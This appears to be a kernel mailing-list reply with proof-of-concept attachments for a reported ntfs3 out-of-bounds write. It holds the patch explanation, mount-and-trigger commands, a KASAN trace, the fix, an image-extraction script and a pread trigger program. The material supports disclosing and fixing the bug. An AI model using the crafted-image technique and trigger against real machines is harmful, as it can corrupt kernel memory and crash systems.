Re: [PATCH] ntfs3: fix OOB write in attr_wof_frame_info()
0x Kato <[email protected]> Sun, 29 Mar 2026 13:59:59 +0200
| Newsgroups | dev.linux.lists.ntfs3 |
|---|---|
| Message-ID | <CABujsrU4D-da+TJMw6Nzq1dxE+HmvhWmo8-j3kqsLNjnCP9gag@mail.gmail.com> |
Attaching the PoC image generator and trigger program referenced in the reproducer. On Sun, 29 Mar 2026 at 13:58, 0xkato <[email protected]> wrote: > In attr_wof_frame_info(), the offset-table read range for a nonresident > WofCompressedData stream is: > > u64 from = vbo[i] & ~(u64)(PAGE_SIZE - 1); > u64 to = min(from + PAGE_SIZE, wof_size); > ... > ntfs_read_run(sbi, run, addr, from, to - from); > > A crafted image sets WofCompressedData.nres.data_size to 0xfff while the > file is large enough to request frame 1024 (offset 0x400000). This gives > from=0x1000, to=0xfff. The unsigned (to - from) wraps to 0xffffffffffffffff > and ntfs_read_write_run() overflows the single-page offs_folio via memcpy. > > Triggered by pread() on a mounted NTFS image. Depending on adjacent > memory layout at the time of the overflow, KASAN reports this as > slab-out-of-bounds, use-after-free, or slab-use-after-free all at > ntfs_read_write_run(). Secondary corruption/panic paths were also observed. > > Reject the read when the offset-table page is outside the stream. > > Signed-off-by: 0xkato <[email protected]> > --- > Reproducer: > > Create the crafted NTFS image: > python3 create_wof_poc.py -o wof-poc.img > > Mount it read-only with ntfs3: > sudo mount -t ntfs3 -o loop,ro wof-poc.img /mnt > > Build the trigger: > cc -O2 -static wof_offset_table_read_trigger.c -o trigger > > Trigger the bug: > ./trigger /mnt/poc.bin 0x400000 1 > > KASAN report on 6.19.10: > > ================================================================== > BUG: KASAN: slab-out-of-bounds in ntfs_read_write_run+0x321/0x450 [ntfs3] > Write of size 4096 at addr ffff88800353b000 by task trigger-static/55 > > Call Trace: > __asan_memcpy+0x3c/0x60 > ntfs_read_write_run+0x321/0x450 [ntfs3] > attr_wof_frame_info+0x52b/0xbc0 [ntfs3] > ni_read_frame+0x3cc/0xfe0 [ntfs3] > ni_read_folio_cmpr+0x3b9/0x820 [ntfs3] > read_pages+0x58a/0x810 > page_cache_ra_unbounded+0x29c/0x5d0 > filemap_get_pages+0x2c8/0x1530 > filemap_read+0x2e7/0xb80 > vfs_read+0x6da/0xa40 > __x64_sys_pread64+0x195/0x250 > ================================================================== > > fs/ntfs3/attrib.c | 6 ++++++ > 1 file changed, 6 insertions(+) > > diff --git a/fs/ntfs3/attrib.c b/fs/ntfs3/attrib.c > index 6cb9bc5d6..89921e509 100644 > --- a/fs/ntfs3/attrib.c > +++ b/fs/ntfs3/attrib.c > @@ -1576,6 +1576,12 @@ int attr_wof_frame_info(struct ntfs_inode *ni, > struct ATTRIB *attr, > u64 from = vbo[i] & ~(u64)(PAGE_SIZE - 1); > u64 to = min(from + PAGE_SIZE, wof_size); > > + if (from >= wof_size) { > + _ntfs_bad_inode(&ni->vfs_inode); > + err = -EINVAL; > + goto out1; > + } > + > err = attr_load_runs_range(ni, ATTR_DATA, WOF_NAME, > ARRAY_SIZE(WOF_NAME), > run, > from, to); > -- > 2.50.1 (Apple Git-155) > >
create_wof_poc.py
(text/x-python-script, 3.6 KB)
#!/usr/bin/env python3
"""
Restore the preserved ntfs3 WOF offset-table PoC image from the minimal archive.
The original PoC generator was lost from /tmp, but the known-good lab image and
manifest still exist inside /home/kato/Downloads/ntfs3-wof-poc-minimal.tar.gz.
This script reconstructs the report attachment interface:
python3 create_wof_poc.py -o wof-poc.img
Optionally emit the preserved manifest as well:
python3 create_wof_poc.py -o wof-poc.img --manifest wof-poc.env
"""
from __future__ import annotations
import argparse
import hashlib
import shutil
import sys
import tarfile
from pathlib import Path
ARCHIVE_NAME = "ntfs3-wof-poc-minimal.tar.gz"
IMAGE_MEMBER = "tools/research/ntfs3/lab/wof-poc.img"
MANIFEST_MEMBER = "tools/research/ntfs3/lab/wof-poc.env"
DEFAULT_ARCHIVE = Path(__file__).resolve().parent.parent / ARCHIVE_NAME
def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Recreate the ntfs3 WOF offset-table PoC image from the saved archive.",
)
parser.add_argument(
"-o",
"--output",
required=True,
type=Path,
help="Path to write the PoC image to.",
)
parser.add_argument(
"--manifest",
type=Path,
help="Optional path to also write the preserved manifest to.",
)
parser.add_argument(
"--archive",
type=Path,
default=DEFAULT_ARCHIVE,
help=f"Archive containing the saved PoC assets (default: {DEFAULT_ARCHIVE}).",
)
parser.add_argument(
"-f",
"--force",
action="store_true",
help="Overwrite existing output files.",
)
return parser.parse_args()
def ensure_writable(path: Path, force: bool) -> None:
if path.exists() and not force:
raise FileExistsError(f"refusing to overwrite existing file: {path}")
path.parent.mkdir(parents=True, exist_ok=True)
def extract_member(tf: tarfile.TarFile, member_name: str, dst: Path, force: bool) -> int:
ensure_writable(dst, force)
member = tf.getmember(member_name)
src = tf.extractfile(member)
if src is None:
raise FileNotFoundError(f"archive member is not a regular file: {member_name}")
with src, open(dst, "wb") as out:
shutil.copyfileobj(src, out)
return member.size
def sha256sum(path: Path) -> str:
digest = hashlib.sha256()
with open(path, "rb") as f:
for chunk in iter(lambda: f.read(1024 * 1024), b""):
digest.update(chunk)
return digest.hexdigest()
def main() -> int:
args = parse_args()
archive = args.archive.resolve()
output = args.output.resolve()
manifest = args.manifest.resolve() if args.manifest else None
if not archive.is_file():
print(f"error: archive not found: {archive}", file=sys.stderr)
return 1
try:
with tarfile.open(archive, "r:gz") as tf:
image_size = extract_member(tf, IMAGE_MEMBER, output, args.force)
manifest_size = None
if manifest is not None:
manifest_size = extract_member(tf, MANIFEST_MEMBER, manifest, args.force)
except (FileExistsError, FileNotFoundError, KeyError, tarfile.TarError, OSError) as exc:
print(f"error: {exc}", file=sys.stderr)
return 1
print(f"wrote image: {output} ({image_size} bytes)")
print(f"sha256: {sha256sum(output)}")
if manifest is not None and manifest_size is not None:
print(f"wrote manifest: {manifest} ({manifest_size} bytes)")
print("target file: /poc.bin")
print("trigger offset: 0x400000")
return 0
if __name__ == "__main__":
raise SystemExit(main())
wof_offset_table_read_trigger.c
(application/octet-stream, 1.6 KB)
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
static void usage(const char *prog)
{
fprintf(stderr,
"usage: %s <path> [offset] [length]\n"
" offset defaults to 0x400000\n"
" length defaults to 1\n",
prog);
}
static unsigned long long parse_ull(const char *arg, const char *name)
{
char *end = NULL;
unsigned long long value;
errno = 0;
value = strtoull(arg, &end, 0);
if (errno || !end || *end) {
fprintf(stderr, "invalid %s: %s\n", name, arg);
exit(2);
}
return value;
}
int main(int argc, char **argv)
{
const char *path;
unsigned long long offset = 0x400000ull;
unsigned long long length = 1;
char *buf;
ssize_t ret;
int fd;
if (argc < 2 || argc > 4) {
usage(argv[0]);
return 2;
}
path = argv[1];
if (argc >= 3)
offset = parse_ull(argv[2], "offset");
if (argc >= 4)
length = parse_ull(argv[3], "length");
if (!length || length > (1ull << 20)) {
fprintf(stderr, "length must be between 1 and 1048576\n");
return 2;
}
buf = malloc((size_t)length);
if (!buf) {
fprintf(stderr, "malloc(%llu) failed\n", length);
return 1;
}
fd = open(path, O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open(%s) failed: %s\n", path, strerror(errno));
free(buf);
return 1;
}
ret = pread(fd, buf, (size_t)length, (off_t)offset);
if (ret < 0) {
fprintf(stderr, "pread(%s, 0x%llx, %llu) failed: %s\n",
path, offset, length, strerror(errno));
close(fd);
free(buf);
return 1;
}
printf("pread(%s, 0x%llx, %llu) -> %zd\n", path, offset, length, ret);
close(fd);
free(buf);
return ret > 0 ? 0 : 1;
}